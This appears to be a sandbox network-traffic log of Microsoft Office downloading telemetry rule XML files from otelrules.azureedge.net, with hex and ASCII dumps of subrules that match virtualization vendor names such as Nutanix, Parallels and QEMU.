4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 65802b10-501e-000a-61d5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f7845968cpnpfhC1EWR3afc00000004q0000000005caf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 6193c1ec-701e-000d-35d5-336de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f7845968px8v7hC1EWR08ng000000057000000000asq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4e338eb5-401e-0016-3ad5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f7845968qj8jrhC1EWRh41s00000004zg000000006ad3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 87508ad6-a01e-0098-68d5-338556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f7845968jrjrxhC1EWRmmrs000000057g0000000027yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:06 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d9045f06-101e-00a2-02d5-339f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f7845968frfdmhC1EWRxxbw000000050000000000cahy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:06 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:06 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:06 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: aedf17c0-c01e-0046-3ad5-332db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133306Z-174f7845968jrjrxhC1EWRmmrs000000057g0000000027z0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:07 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: feb35d59-101e-0079-01d5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133307Z-174f7845968ljs8phC1EWRe6en00000004s000000000dzv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:07 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:07 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 30996da0-701e-006f-5cd5-33afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133307Z-174f7845968vwdr7hC1EWRsh3w00000004x000000000bm3s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:07 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:07 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:07 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 45a856d6-001e-0017-5bd5-330c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133307Z-174f784596886s2bhC1EWR743w00000004yg00000000dsyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:07 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:07 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 648756f6-901e-0067-0fd5-33b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133307Z-174f7845968cdxdrhC1EWRg0en00000004x000000000cpet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:07 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 954b4d19-301e-0052-53d5-3365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133307Z-174f7845968swgbqhC1EWRmnb4000000056g0000000065tg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:07 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:07 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:07 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 7cd1171a-e01e-0052-10d5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133307Z-174f7845968glpgnhC1EWR7uec000000051g00000000g5yr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
